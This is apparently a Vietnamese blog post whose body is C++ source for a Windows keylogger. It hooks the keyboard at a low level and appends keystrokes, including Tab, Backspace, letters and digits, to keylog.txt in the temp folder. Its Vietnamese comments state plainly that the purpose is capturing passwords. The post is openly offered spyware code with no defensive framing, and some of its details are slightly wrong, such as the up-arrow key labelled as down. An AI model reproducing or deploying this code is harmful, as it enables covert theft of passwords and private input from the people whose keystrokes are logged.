- #include <windows.h>
- #include <fstream>
- using namespace std;
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- #pragma data_seg(".SHARDAT")
- char *SaveFile()
- {
- char s[255];
- static char pth[255];
- GetTempPath(255,pth);
- lstrcpy(s,"keylog.txt");
- lstrcat(pth,s);
- return pth;
- }
- //Mo File
- fstream File;//khai bao File
- LRESULT _stdcall CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
- {
- char ch,chuoi[20];
- if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //neu ban an phim
- {
- if ((wParam==VK_LEFT )|| (wParam==VK_HOME )|| (wParam==VK_END )||(wParam==VK_NEXT )||(wParam==VK_UP)|| (wParam==VK_RIGHT)||(wParam==VK_DOWN)||(wParam==VK_DELETE)||(wParam==VK_LBUTTON)||(wParam==VK_RBUTTON )||(wParam==VK_MENU)||(wParam==VK_CANCEL )||(wParam==VK_CONTROL)||(wParam==VK_SHIFT)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))||(wParam==VK_TAB)||(wParam==VK_CLEAR)||(wParam==VK_BACK))
- // ghi chu VK_RETURN : ENTER , VK_TAB : tab ,day la ma phim ao chi tiet doc
- // ms-help://MS.MSDNQTR.v90.en/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.htm
- {
- File.open(SaveFile(),ios::out|ios::app);
- if (wParam==VK_RETURN) //neu la phim Enter thi xuong dong
- {
- ch = '\n';//gan ky tu xuong dong
- File.write(&ch,sizeof(ch)); //ghi ra
- }
- else if (wParam==VK_TAB) //neu la dau TAB
- {
- lstrcpy(chuoi,"{TAB}");
- File<<chuoi; //ghi ra nit TAB de Biet khi danh password :D
- }
- else if (wParam==VK_CLEAR)
- {
- lstrcpy(chuoi,"{CLEAR}");
- File<<chuoi;
- }
- else if (wParam==VK_BACK)
- {
- lstrcpy(chuoi,"{BACK}"); //neu xoa thi bao 1 tieng,de phong luc danh password sai ho danh lai
- File<<chuoi;
- }
- else if(wParam==VK_SPACE)
- {
- lstrcpy(chuoi," "); // nut cach
- File<<chuoi;
- }
- else if (wParam==VK_SHIFT)
- {
- lstrcpy(chuoi,"{SHIFT}"); // shift
- File<<chuoi;
- }
- else if (wParam==VK_CONTROL)
- {
- lstrcpy(chuoi,"{CONTROL}"); // nut control
- File<<chuoi;
- }
- else if (wParam==VK_LEFT )
- {
- lstrcpy(chuoi,"{<-}"); // nut sang trai
- File<<chuoi;
- }
- else if (wParam==VK_HOME )
- {
- lstrcpy(chuoi,"{Home}"); // nut Home
- File<<chuoi;
- }
- else if (wParam==VK_END )
- {
- lstrcpy(chuoi,"{END}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_NEXT ))
- {
- lstrcpy(chuoi,"{PAGEDOWN}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_UP) )
- {
- lstrcpy(chuoi,"{MuiTenXuong}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_RIGHT))
- {
- lstrcpy(chuoi,"{->}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_DOWN))
- {
- lstrcpy(chuoi,"{MuiTenXuong}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_DELETE))
- {
- lstrcpy(chuoi,"{Delete}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_LBUTTON))
- {
- lstrcpy(chuoi,"{ChuotTrai}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_RBUTTON ))
- {
- lstrcpy(chuoi,"{ChuotPhai}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_MENU))
- {
- lstrcpy(chuoi,"{ALT}"); //
- File<<chuoi;
- }
- else if ((wParam==VK_CANCEL ))
- {
- lstrcpy(chuoi,"{Break}"); //
- File<<chuoi;
- }
- else if(wParam>=0x30&&wParam<= 0x5A) //neu la cac nut tu 0 --> 9 hoac tu a -> Z
- {
- BYTE ks[256];
- GetKeyboardState(ks); //lay ma Nut bamso
- WORD w;
- UINT scan;
- scan=0;
- ToAscii(wParam,scan,ks,&w,0); //chuyen ma nut bam ra ma Ascii
- ch = char(w);
- File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc
- }
- //khong ghi lai cac nut khac khong lien quan den viec danh password
- File.close();//dong File,tiep tuc chu trinh( moi khi bam 1 phim lai mo File )
- }
- }
- LRESULT RetVal = CallNextHookEx( NULL, nCode, wParam, lParam ); //call back tiep tuc
- return RetVal;
- }
Thứ Tư, 9 tháng 8, 2017
Đọc kí tự paste vào file -> troll gian các kí tự đặc biệt
Đăng ký:
Đăng Nhận xét (Atom)
Không có nhận xét nào:
Đăng nhận xét